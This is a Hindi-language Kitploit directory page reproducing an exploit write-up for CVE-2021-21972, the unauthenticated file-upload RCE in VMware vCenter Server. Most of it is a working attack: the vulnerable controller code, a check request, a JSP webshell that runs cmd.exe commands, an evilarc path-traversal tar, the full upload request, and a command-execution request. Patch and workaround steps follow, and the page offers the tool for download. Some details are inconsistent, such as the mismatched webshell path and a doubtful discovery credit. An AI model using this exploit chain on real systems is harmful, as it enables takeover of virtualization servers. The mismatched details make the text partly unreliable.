Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-21972 — CVE-2021-21972 – VMware क्लाइंट अनधिकृत कोड इंजेक्शन (ʀᴄᴇ) | Kitploit
उपकरण/GitHubGitHub/orangmuda/cve-2021-21972
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरिमोट एक्सेस टूलपेलोड डेवलपमेंट
GitHuborangmuda/cve-2021-21972

CVE-2021-21972

CVE-2021-21972 – VMware क्लाइंट अनधिकृत कोड इंजेक्शन (ʀᴄᴇ)

रिपॉजिटरी देखें
1144 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-21972

[CVE-2021-21972] VMware vSphere Client अनधिकृत फ़ाइल अपलोड से रिमोट कोड एक्सेक्यूशन (RCE)


vSphere Web Client (HTML5) अनिवार्य रूप से एक प्रशासनिक इंटरफ़ेस है जो vSphere इंस्टॉलेशन के प्रबंधन को सक्षम बनाता है। vSphere Client प्रशासक को vSphere सर्वर तक सीधे पहुँच की आवश्यकता के बिना vSphere के प्रमुख कार्यों तक पहुँच प्रदान करता है। यह प्रशासकों को नई वर्चुअल मशीनें बनाने और मौजूदा मशीनों तथा उनके संसाधनों को प्रबंधित करने की अनुमति देता है। एक क्रॉस-प्लेटफ़ॉर्म वेब एप्लिकेशन के रूप में, इसे विभिन्न वेब ब्राउज़रों के समर्थित संस्करणों के माध्यम से सभी समर्थित ऑपरेटिंग सिस्टम पर उपयोग किया जा सकता है।

CVE-2021-21972 vCenter Server में एक अनधिकृत फ़ाइल अपलोड भेद्यता है जो रिमोट सर्वर पर रिमोट कोड एक्सेक्यूशन की ओर ले जाती है। यह समस्या vRealize Operations vCenter Plugin में प्रमाणीकरण की कमी से उत्पन्न होती है। इसे 10.0 में से 9.8 का गंभीर CVSSv3 स्कोर प्राप्त हुआ। एक अनप्रमाणित, रिमोट हमलावर सार्वजनिक रूप से सुलभ कमजोर vCenter Server एंडपॉइंट पर एक विशेष रूप से तैयार की गई फ़ाइल अपलोड करके इस भेद्यता का शोषण कर सकता है। VMware vCenter Server संस्करण 6.5, 6.7 और 7.0 इस भेद्यता से प्रभावित हैं। इस भेद्यता का सफलतापूर्वक शोषण करने पर हमलावर को vCenter Server के अंतर्निहित ऑपरेटिंग सिस्टम में अप्रतिबंधित रिमोट कोड एक्सेक्यूशन (RCE) विशेषाधिकार प्राप्त होंगे। इस तथ्य के बावजूद कि यह भेद्यता vRealize Operations vCenter Plugin से उत्पन्न होती है, VMware सलाहकार पुष्टि करता है कि यह प्लगइन vCenter Server की सभी डिफ़ॉल्ट इंस्टॉलेशन में शामिल है। इसका मतलब है कि कमजोर एंडपॉइंट vRealize Operations की उपस्थिति के बावजूद उपलब्ध है।

मूल ब्लॉगपोस्ट यहाँ में, भेद्यता की खोज को यथासंभव विस्तार से समझाया गया है, साथ ही RCE प्राप्त करने के दो अलग-अलग तरीके भी बताए गए हैं। Windows सिस्टम के लिए, एक हमलावर अंतर्निहित ऑपरेटिंग सिस्टम पर NT AUTHORITY\SYSTEM विशेषाधिकार प्राप्त करने के लिए एक विशेष रूप से तैयार की गई .jsp फ़ाइल अपलोड कर सकता है। Linux सिस्टम के लिए, एक हमलावर को सर्वर के authorized_keys पथ पर एक सार्वजनिक कुंजी उत्पन्न और अपलोड करनी होगी, और फिर vsphere-ui उपयोगकर्ता विशेषाधिकार प्राप्त करने के लिए SSH के माध्यम से कमजोर सर्वर से कनेक्ट करना होगा। (यदि SSH सेवा चल रही है और नेटवर्क पर सुलभ है)

vropsplugin-service.jar vropspluginui प्लगइन की एक जावा आर्काइव फ़ाइल है और इसमें कुछ क्लासेस और अन्य संबंधित फ़ंक्शन तथा मेथड शामिल हैं। कोड का कमजोर हिस्सा नीचे दर्शाया गया है। यह कोड स्निपेट vropsplugin-service.jar के कंट्रोलर में ServicesController.class से संबंधित है। जैसा कि आप नीचे दिए गए कोड स्निपेट में देख सकते हैं, uploadOvaFile फ़ंक्शन उस एंडपॉइंट/URL /ui/vropspluginui/rest/services/uploadova के लिए ज़िम्मेदार है

कमजोर क्लास का पूरा पथ: vropsplugin-service\com\vmware\vropspluginui\mvc\ServicesController.class

root@kitploit:~
@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
  public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
    logger.info("Entering uploadOvaFile api");
    int code = uploadFile.isEmpty() ? 400 : 200;
    PrintWriter wr = null;
    try {
      if (code != 200) {
        response.sendError(code, "Arguments Missing");
        return;
      } 
      wr = response.getWriter();
    } catch (IOException e) {
      e.printStackTrace();
      logger.info("upload Ova Controller Ended With Error");
    } 
    response.setStatus(code);
    String returnStatus = "SUCCESS";
    if (!uploadFile.isEmpty())
      try {
        logger.info("Downloading OVA file has been started");
        logger.info("Size of the file received  : " + uploadFile.getSize());
        InputStream inputStream = uploadFile.getInputStream();
        File dir = new File("/tmp/unicorn_ova_dir");
        if (!dir.exists()) {
          dir.mkdirs();
        } else {
          String[] entries = dir.list();
          for (String str : entries) {
            File currentFile = new File(dir.getPath(), str);
            currentFile.delete();
          } 
          logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
        } 
        TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
        TarArchiveEntry entry = in.getNextTarEntry();
        List<String> result = new ArrayList<String>();
        while (entry != null) {
          if (entry.isDirectory()) {
            entry = in.getNextTarEntry();
            continue;
          } 
          File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
          File parent = curfile.getParentFile();
          if (!parent.exists())
            parent.mkdirs(); 
          OutputStream out = new FileOutputStream(curfile);
          IOUtils.copy((InputStream)in, out);
          out.close();
          result.add(entry.getName());
          entry = in.getNextTarEntry();
        } 
        in.close();
        logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
      } catch (Exception e) {
        logger.error("Unable to upload OVA file :" + e);
        returnStatus = "FAILED";
      }  
    wr.write(returnStatus);
    wr.flush();
    wr.close();
  }

हमलावर के दृष्टिकोण से, इस क्लास का हैंडलर निम्नलिखित क्रियाएँ कर रहा है

  • POST मेथड अनुरोध के साथ uploadFile पैरामीटर प्राप्त करना (पंक्ति 2)
  • uploadFile पैरामीटर पढ़ना और इस पैरामीटर की सामग्री को inputStream वेरिएबल में लिखना (पंक्ति 22)
  • परिणामी डेटा को .tar आर्काइव के रूप में खोलना (पंक्ति 34)
  • आर्काइव की सभी एंट्री पुनः प्राप्त करना (पंक्ति 35)
  • फ़ाइल नामकरण परंपरा का उपयोग करके प्रत्येक वर्तमान एंट्री की प्रतिलिपि डिस्क पर बनाना: /tmp/unicorn_ova_dir + entry.getName() (पंक्ति 42 और 47)

प्रूफ ऑफ कॉन्सेप्ट: इस भेद्यता का शोषण करने के लिए, आप निम्नलिखित चरणों का उपयोग कर सकते हैं

  1. भेद्यता सत्यापित करें
  2. एक .tar आर्काइव एंट्री बनाएं जिसमें स्ट्रिंग ../../ हो
  3. तैयार की गई आर्काइव फ़ाइल को सर्वर पर अपलोड करें
  4. संबंधित पथ पर जाएं और आपके द्वारा अपलोड की गई फ़ाइल को कॉल करें /statsreport/uploadedFileName.jsp

भेद्यता सत्यापित करने के लिए, आप निम्नलिखित अनुरोध का उपयोग कर सकते हैं

root@kitploit:~
GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close

यदि उपरोक्त अनुरोध की प्रतिक्रिया नीचे दिए गए प्रतिक्रियाओं के समान है, तो इसका मतलब है कि रिमोट होस्ट CVE-2021-21972 के प्रति कमजोर है

root@kitploit:~
HTTP/1.1 200 
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=35CB9D3F277D6B8413F099F93FB3A5CE; Path=/ui; Secure; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 141
Date: Tue, 06 Apr 2021 14:32:30 GMT
Connection: close
Server: Anonymous

{"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
root@kitploit:~
HTTP/1.0 200 OK
strict-transport-security: max-age=30758400;includeSubDomains
x-xss-protection: 1; mode=block
set-cookie: VSPHERE-UI-JSESSIONID=3D8FE882F9BD3DD1C66C10DFD00022C9; Path=/ui; Secure; HttpOnly
content-type: text/plain;charset=ISO-8859-1
content-length: 374
date: Tue, 06 Apr 2021 14:33:22 GMT
server: envoy
x-envoy-upstream-service-time: 1
connection: close

{"States":"[OVF_DEPLOY_START, OVF_DEPLOY_IN_PROGRESS, OVF_DEPLOY_SUCCESS, VROPS_CONFIGURATION_START, VROPS_CONFIGURE_MASTER_START, VROPS_INIT_CLUSTER_START, VROPS_INIT_CLUSTER_ERROR, VROPS_CONFIGURATION_SUCCESS]","Install Progress":"UNKNOWN","Config Progress":"VROPS_CONFIGURATION_SUCCESS","Config Final Progress":"CONFIGURE_VROPS_FAILED","Install Final Progress":"UNKNOWN"}

उसके बाद, हमें तैयार की गई .tar फ़ाइल बनाने की आवश्यकता है। इसके लिए आप evilarc का उपयोग कर सकते हैं। Evilarc एक बेसिक पायथन स्क्रिप्ट है जो आपको एक ज़िप फ़ाइल बनाने की अनुमति देती है जिसमें उनके एम्बेडेड पथ में डायरेक्टरी ट्रैवर्सल कैरेक्टर वाली फ़ाइलें होती हैं।

cmdjsp.jsp की सामग्री जो मूल रूप से एक वेबशेल है

root@kitploit:~
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>

निम्नलिखित कमांड के साथ, तैयार की गई .tar आर्काइव फ़ाइल उत्पन्न हो जाएगी।

root@kitploit:~
> python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl3.tar cmdjsp.jsp

Creating winexpl3.tar containing ..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp

> cat winexpl3.tar

././@LongLink0000000000000000000000000000015300000000000011214 Lustar  00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar  muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>

फिर, निम्नलिखित अनुरोध का उपयोग करके .tar फ़ाइल को सर्वर पर अपलोड करें

root@kitploit:~
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vulnerablehost
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 1200

------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain

././@LongLink0000000000000000000000000000015300000000000011214 Lustar  00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar  muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>
------WebKitFormBoundaryH8GoragzRFVTw1VD--

उपरोक्त अनुरोध की प्रतिक्रिया नीचे दी गई है

root@kitploit:~
HTTP/1.1 200 
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=80343ED805CE2BCCE497958D3AC9D164; Path=/ui; Secure; HttpOnly
Date: Tue, 06 Apr 2021 15:06:56 GMT
Connection: close
Server: Anonymous
Content-Length: 7

SUCCESS
Screen Shot 2021-04-06 at 19 11 52

यदि उपरोक्त अनुरोध का प्रतिक्रिया स्टेटस कोड 200 OK है और बॉडी SUCCESS है, तो इसका मतलब है कि .tar आर्काइव फ़ाइल ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport पथ पर सफलतापूर्वक अपलोड हो गई है। एप्लिकेशन के प्रवाह के कारण, सर्वर .tar फ़ाइल को /statsreport डायरेक्टरी में निकालेगा। इस चरण के बाद आपको केवल NT AUTHORITY\SYSTEM विशेषाधिकारों के साथ रिमोट कोड एक्सेक्यूशन के लिए निम्नलिखित GET अनुरोध करना है।

root@kitploit:~
GET /statreport/cmd.jsp?cmd=whoami HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close

वर्कअराउंड समाधान: VMware ने इस भेद्यता को क्रमशः 7.0 U1c, 6.7 U3l और 6.5 U3n संस्करणों में ठीक कर दिया है। हालाँकि, यदि पैच इंस्टॉल नहीं किया जा सकता है, तो Windows-आधारित vCenter Server डिप्लॉयमेंट पर CVE-2021-21972 और CVE-2021-21973 के लिए वर्कअराउंड लागू करने हेतु निम्नलिखित चरणों का पालन करें:

  1. Windows-आधारित vCenter Server पर RDP करें
  2. फ़ाइल का बैकअप लें: C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui\compatibility-matrix.xml
  3. compatibility-matrix.xml फ़ाइल को टेक्स्ट एडिटर में खोलें
  4. pluginsCompatibility एलिमेंट में यह लाइन जोड़ें: <PluginPackage id="com.vmware.vrops.install" status="incompatible"/>
  5. कमांड का उपयोग करके vsphere-ui सेवा को रोकें और पुनः प्रारंभ करें
root@kitploit:~
C:\Program Files\VMware\vCenter Server\bin> service-control --stop vsphere-ui
C:\Program Files\VMware\vCenter Server\bin> service-control --start vsphere-ui
  1. उसके बाद, VMware vROPS क्लाइंट प्लगइन को Administration > Solutions > client-plugins के अंतर्गत "incompatible" के रूप में देखा जा सकता है

Linux-आधारित वर्चुअल उपकरणों (vCSA) पर CVE-2021-21972 और CVE-2021-21973 के लिए वर्कअराउंड लागू करने हेतु निम्नलिखित चरणों का पालन करें:

  1. SSH सत्र और रूट क्रेडेंशियल का उपयोग करके vCSA से कनेक्ट करें।
  2. फ़ाइल का बैकअप लें: /etc/vmware/vsphere-ui/compatibility-matrix.xml
  3. compatibility-matrix.xml फ़ाइल को टेक्स्ट एडिटर में खोलें
  4. pluginsCompatibility एलिमेंट में यह लाइन जोड़ें: <PluginPackage id="com.vmware.vrops.install" status="incompatible"/>
  5. कमांड का उपयोग करके vsphere-ui सेवा को रोकें और पुनः प्रारंभ करें
root@kitploit:~
> service-control --stop vsphere-ui
> service-control --start vsphere-ui

ध्यान दें कि यह भेद्यता Positive Technologies के Andri Wijayanto द्वारा खोजी गई थी और मूल शोध पोस्ट यहाँ उपलब्ध है

अधिक जानकारी के लिए, निम्नलिखित पृष्ठों पर जाएँ।

https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://kb.vmware.com/s/article/82374
https://docs.vmware.com/en/VMware-vSphere/7.0/rn/vsphere-vcenter-server-70u1c-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.7/rn/vsphere-vcenter-server-67u3l-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.5/rn/vsphere-vcenter-server-65u3n-release-notes.html

टूल डाउनलोड करें